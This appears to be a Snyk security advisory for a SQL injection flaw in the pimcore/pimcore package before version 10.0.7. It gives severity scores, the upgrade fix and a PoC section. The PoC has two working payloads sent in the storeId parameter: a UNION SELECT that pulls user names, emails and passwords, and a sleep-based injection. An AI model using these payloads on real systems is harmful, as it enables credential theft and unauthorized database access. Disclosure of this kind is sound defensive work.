SQL Injection Affecting pimcore/pimcore package, versions <10.0.7


0.0
high

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High

    Threat Intelligence

    Exploit Maturity Mature
    EPSS 0.1% (41st percentile)
Expand this section
NVD
8.8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-PHP-PIMCOREPIMCORE-1316297
  • published 8 Jul 2021
  • disclosed 8 Jul 2021
  • credit Daniele Scanu @SoterITSecurity

How to fix?

Upgrade pimcore/pimcore to version 10.0.7 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to SQL Injection. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.

PoC

Send the following GET request with the payload in storeId parameter

/admin/classificationstore/groups?_dc=1622204293193&storeId=1) union (select '12',name,'4',email,password,'7','8' from users) -- -

/admin/classificationstore/collections?_dc=1624542952813&storeId=1 or 1=1) union (select sleep(10)) -- -

References